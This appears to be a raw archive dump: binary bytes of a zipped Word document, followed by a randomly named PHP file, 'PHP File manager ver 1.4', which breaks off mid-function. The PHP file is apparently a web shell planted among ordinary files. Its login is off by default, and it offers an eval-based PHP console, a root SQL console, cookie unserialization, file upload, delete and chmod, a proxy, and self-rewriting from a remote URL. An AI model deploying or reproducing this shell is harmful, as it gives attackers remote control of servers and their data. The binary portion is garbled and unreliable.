Sֈ����ُ�:ͭ� ��R�3RTU��!�Bh[
���:�*|u�P3��+Ϲ�%��Z*Y˜�9�0�3�璋���0��:��h
���V�V[�)��ϬU��L�#&J -��`�j���v�Q8=��I��l �\n�1�#ę�8 �af=Z<�@����X��
I�&���6�-����0��n�d��%3D��=S�1��s���MH��s D;��qδT�>�Z��RV���=�qm	�;Xӌ�SJ��Պ�I��%&�ɴK�f-����1�M�=ǿF-�{�q���xX2%�N�0������'qrq�&��u��jfN��7�h%�f���8�m�~���1�
�񻗤U�\��E,���5��D��PD����+�D�9e�i��C��.��Z�ƯM$M������~�%�>2�=��/��PK!��;���word/webSettings.xml��n�0����׎!�`)
�Ҵw��DIA�V���hq��9D�\zg�qF��Q�h�K4K�N�XJ�Y�_���M�X�<�^}�pU�5?!��#��k�d�l�^lAs?A��:��nk���@my��T24q�$s6`�[(XUR�
��:}�@��J���-�]i
�Ѫ�i.�3&�t�R8�X�	53TԡH�&���0��s!�q����Iy��03;`|��EZ�_6/���D�]ԁ�g{؊&��{?�Q����3�-�iz�m(�ln��+ʲ��Ҁ�A��9z/7�W�hσk�?q*d]��
G���f�v_kX.`�*�y什=B�T6NY��h�֝v>F��͗�����$˲��}��}�k���
R�'�E�vX{p�i����׻��Ja����v�^���PK!ay�
sword/styles.xml��rܸ����;�z�,<��Z�\���5r��Ѹ��M�ՈI�C�-iV�Ie�]6Ye�'H�jRO�<C��`7�C�y@ĕTea�����r�����wI��Y�xz4�d{�4�Ko�o�/�<yA҈�<�G�{�>�엿��Y^��4 ͟%��`V�g[[y8�	�?�s���<KH!�f7[	��-�OB��I�&,f����@c�.>�����p�дP�[�������vۅv˳h���ht����t���������D4F�H���ζ���k�����E8ƾfl	K��SfTa��
�$|��&��Ă$�&�X�/�LG��3:%������*�_�7�炧E�>#y����8cD4��%yq�3r-�'
I�(��8͙�q&?;�ya�v�"6ؒ���{��~Zm9���m��嶘�7նl�����M���M�=���Xn�F����S�I�T9dZP�"�$4fRR��՗�٩dQp]��W�-л"�ƥůt����h4.�GU���U�x&4w48<��4a�,�hj��XD��h�&��z�WJ7zC���<<)��yt~ҹT��5%�'���rӂ�W濫`;�M�3J�P�<F����"7Z��\<j��U��c���
}���>FA���� ��O�҈ޕB���&�E�h�Elh�EKh�E*h�E	h�%��K�9�0Ep
ڢ���%�۹��7��)���yp�n�ݸ��w7���܍�y�v�n���r�<2K��*�r^���AA��H*X*?�Ó�ͼ4����Dܛ�}s�(������>
��f����o�i���"�H	�G`F�Ef�����f4
�����`�.���؜�o,�F���"zV-��	��		3޿j�x^��_IHp��c��O�)V��@a��
�?3P�����3_]�i�zJ�<u��y�2>}���y�7M��o�ֿ߮Y�!�\u�t?vwsyD�w=��&%b����L�+�����g�<݌5ی-�G����9mE�W!r*Z��E���|�k��$�ϓ�V��{)��r�v�'�/&E�h��h�$^��j#E�[�e�74c=D�+�����1�kٿbkVY=��VO#=�2��;?���f"-{כt�����q\d��5S��%�$��g$g*W�!�O�չ��%��n�ULX��o�O���
�����e�);��O�1���_���_���H��{O�=�txH�N��I�$��I,3Yʼ̡����p�E~hW-/)�'�$�r��A[b\�㏇Ր�}M2&��յ�q�0_L~K�C�+x92��P��RWY��_&�p��ʛbz��롱5\���p�{�<g�S��<_ͭx���?��<�l���u`�փ�[�x����+��+��z��pHN�~��ț3̗'̗̗̫�_�c��_�c��_�S�<-��8�:�{:�c�|ř���3�g
�+Άg�N�"��c }Ŝ��7ѤM�<#ٽ'�yLo���%�*�Sy_Oˋ�= �1���b��r�[:�V5��Y/GDIs����z�iFGG��J����wE�b��#�YZn�Y���y�q�T5:}�nfE0���	���퍖UZ_3�\`噚Yu�K��K�ERU�r�?�n��f���x�ިY�:Z�2�7[���5˃���L}��FK���a����5�A[��2AK��E�ʸ�ض@ZY6��A[դ��<���M3v�n��cTd�`�d�t֕�&���=��?f�T孮�x\�P-�;��_-xyt�vZ���_���*�i��v?�Ue��y��#:�;vD�Ȏ�4Y�QC���yl�#:Rvz��3n�����
ڻ�V��2Z�X���vZ��j����*0w*���
h�BZ�p�*��	ڻR\�
)h�BZ��*D��
h�:���NB��P!-T�@U�{��
�]�
).B��P!-T�@"�B��P!%T`�$THA"�B��P�݅
�qB��.B��B
Z��*D��
h�BZ��*0w*���
h�BZ��b�B{�P���P!�E���*D��
h�BZ��*D��
̝�
)h�BZ����D��b��QO�u��O]�J�6o�6Q�VvV�;N84ޞ8T�F7�Č�CԖ��&W]8�:���i�}@&�磙��)��u��T��B޴I�^[���`չ�6���`�kt�.�KW�t�ۆ�x�b�6Z氋��h��p��l�n�
�Q ��֣�����
��� �	ma	}U
�P]�f't����ՍvʟVޱv��v����̰�v���u5$8�`�]
Qή�(7WÁ�jH���}p��\
0(gWC����T�u5$`]
	XW����wWC���!���pq�u5$`]
	XWC��������j�rs5ȒѮ���!�jHpr5�����]
Qm�VGQj�Fy�0�-�C܄l�g��![2��%��-A_U>�eK��섮޳���N@�ӊ�;֎B{؎rs5.[jr��P���qْ�ոl��ոl��ոl��j\���j\���j���Npr5.[ju5.[ju5.[���-5��-5��-5���lŸ��-���-�]�˖�\�˖�\�˖�\�˖���eK���eK���eKvW㲥&W㲥&W㲥&W�%��q�R��q�R��q��Ka�<<(j����=U�䳂���4�9���(@7u�f+Y�z�ؿ
�77�1�ʇ�j��� �r*Y�@��K��J�Y�^U��\�z������ܖ���Ù�@��Ue+T��ZU�u�T{��]wY�_��ZkY�@m�Ꭵ�����PkvS�D5&q�4��y*��V���`tGJ������KR���]c:-�_w��s�>)�g��Ԩjl�+S~��b�ts��}}���ջ
]��;���ܿ��Ԣ��Q �}D`��2V?��~#]��x�wwG�g�/�w�o��[}i~^=�Nx�L�e��R峦uC�3�� ʤ��ՉazM^E���*�����s2f��iz��k7�R������=��g4Ơv���V��%}�z��w��KP���]��d�"���,��|��l�E�z�g�Ȳ�f����\.r�jZCT�6G�5˿-�_~x���`���?-Z�������`�������Vc��t�v���=�-k��}Ѝjո�-�%�a�u���ӳ�Quŧ=��Z9����7B�̙�bAb�`#Z;L"-�����z�r~1W^�p��{|r��w��_EA�N���9�w]R�:>����C�����
�T��z�
�ХV���G�OA���ZY�t{������|��]!�r�C&�~2�,�8������
��.�Ñ�!e�h^�����rg�?/�����L���_��W~^�(�����������a�ч$G��C���M�����5�T�Ӻ�'0��*��~��:-W.�=է����PK!�"K�docProps/app.xml �(��S�n�0�G�"߯N��N��	uB�V��vm���"�-۫V.y^�w@��wo�q���qE.��}�|�1;���d�+�$�$-M��fA��W'g$�A�BTFÂ�s��[9c�>A
�d��S��j�G�)��E@�m�)K%��Ȼt��4�R��(NlOH:�.�/iad��o�E>�r�m%𷱲&Ԍ�^�� �\�_�Φ�m��|�hحq������V8!6�g���{im���_�FIg�)CrՊN"���Y��s*�y���d��F��!����	��|�[KQ�{�KQy`�]���]	��|2�x�'<&�;�!vnAv�)���:�ŕ����s��<�g��hj�b�Մgm����h� >��P��*������VC��Q��ǯ�O�N��{ij+4v��;��_��\ąyl�s��*l�Vȸ9��JBl�^(p��z�ċ�*��z�!�i .�M��y6���[u��j���PK!����U(customXml/itemProps1.xml �$(� ��MK�0����=�f7h]�.�Cث(xͦ�6�$%IE��)�֣��a�y���a��}��
`�2��ڎ^_�HY��rvX���ñ�Q��<�#�,5t��V�W�������3R�#Ms`Mw_��uߐ%�Mg��)��HiPvnA����FƄ~�n��֩ՠ�t��wT�Io��Ֆ�w��p�[���Z.�2k7z�L�@���Qm|�����PK!W%�R��(customXml/item1.xml �$(� ��A
� E�" ��B�@��Rn��F���hn_)�'��ޠ�L{1X�Ā��)�8�Ǽ��]^9����
6��+��
=rG�@5��]ʸ�Ϧ�YVH�z��d�����Ϡ�>�Eew|eQM�b�7��PK!t?9z�(customXml/_rels/item1.xml.rels �(��ϱ��0���ho��P��K)t;J�GILc�Xji߾�+t�(���Q���E]1��h��jP
>N~��j���.����G{��J	����D60��o���,W�0��H9X)c�t��l'�_u���ݓ���|P�=�;6��w�#w	�E�v
���d*���yB1��ߪ��	�k�����PK!9Zbݑ�docProps/core.xml �(�|�OK�0��ߡ��&�6��UP�IAp�x��lӒdn��g���C��L��s(^��y��y�xg�g�(-
�E4 �ɋT�A��{�6�a2eY!�����N���2⅂#U����9��/�hhLa��r�GH^*g�}�.�d�!![8�Rf��~��B��FY�TVR�!��ј�X*���2fZŸ�2l�
8��q�F]���G���f�%q�##L�����7U�0S��>��ٝ}�O���4#�Q
/�j����]ʅ�twZ)?��޸�ݳ�ɾڗٵ��o�+ƿK*��+Q�sҡ�f��x1��O!��q��p��iko��CIHh蓖Oi����r^��V���5���|��ӭ���n\
���'�|��PK-!�ˬ�	[Content_Types].xmlPK-!���N�_rels/.relsPK-!1���V�word/_rels/document.xml.relsPK-!\��0Fu��	word/document.xmlPK-!ĩ���!word/header3.xmlPK-!���k�T#word/footer3.xmlPK-!��\dJ
�&word/footnotes.xmlPK-!��*4cD
�)word/endnotes.xmlPK-!ĩ���,word/header1.xmlPK-!ĩ���U.word/header2.xmlPK-!:�8���0word/footer1.xmlPK-! 6@�I��2word/footer2.xmlPK-!�^}-$�O6word/theme/theme1.xmlPK-!ae��VI�<word/settings.xmlPK-!:����Lword/fontTable.xmlPK-!��;���
Oword/webSettings.xmlPK-!ay�
s�Pword/styles.xmlPK-!�"K��^docProps/app.xmlPK-!����UbcustomXml/itemProps1.xmlPK-!W%�R��PccustomXml/item1.xmlPK-!t?9z�(3dcustomXml/_rels/item1.xml.relsPK-!9Zbݑ�9fdocProps/core.xmlPK�i4odfzq/ysk2v.php000064400000232754000000000000007520 0ustar00<?php
/* PHP File manager ver 1.4 */

// Configuration — do not change manually!
$authorization = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';
$php_templates = '{"Settings":"global $fm_config;\r\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}';
$sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';
$translation = '{"id":"en","Add":"Add","Are you sure you want to delete this directory (recursively)?":"Are you sure you want to delete this directory (recursively)?","Are you sure you want to delete this file?":"Are you sure you want to delete this file?","Archiving":"Archiving","Authorization":"Authorization","Back":"Back","Cancel":"Cancel","Chinese":"Chinese","Compress":"Compress","Console":"Console","Cookie":"Cookie","Created":"Created","Date":"Date","Days":"Days","Decompress":"Decompress","Delete":"Delete","Deleted":"Deleted","Download":"Download","done":"done","Edit":"Edit","Enter":"Enter","English":"English","Error occurred":"Error occurred","File manager":"File manager","File selected":"File selected","File updated":"File updated","Filename":"Filename","Files uploaded":"Files uploaded","French":"French","Generation time":"Generation time","German":"German","Home":"Home","Quit":"Quit","Language":"Language","Login":"Login","Manage":"Manage","Make directory":"Make directory","Name":"Name","New":"New","New file":"New file","no files":"no files","Password":"Password","pictures":"pictures","Recursively":"Recursively","Rename":"Rename","Reset":"Reset","Reset settings":"Reset settings","Restore file time after editing":"Restore file time after editing","Result":"Result","Rights":"Rights","Russian":"Russian","Save":"Save","Select":"Select","Select the file":"Select the file","Settings":"Settings","Show":"Show","Show size of the folder":"Show size of the folder","Size":"Size","Spanish":"Spanish","Submit":"Submit","Task":"Task","templates":"templates","Ukrainian":"Ukrainian","Upload":"Upload","Value":"Value","Hello":"Hello"}';
// end configuration

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;

//Authorization
$auth = json_decode($authorization,true);
$auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; 
$auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin';  
$auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm';  
$auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ? $auth['script'] : '';

// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size → maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];

// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
	$get_lang = file_get_contents('https://raw.githubusercontent.com/fahriyzx/Filemanager/master/languages/' . $language . '.json');
	if (!empty($get_lang)) {
		//remove unnecessary characters
		$translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
			}	else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}	
		$lang = json_decode($translation_string,true);
	}
}

/* Functions */

//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
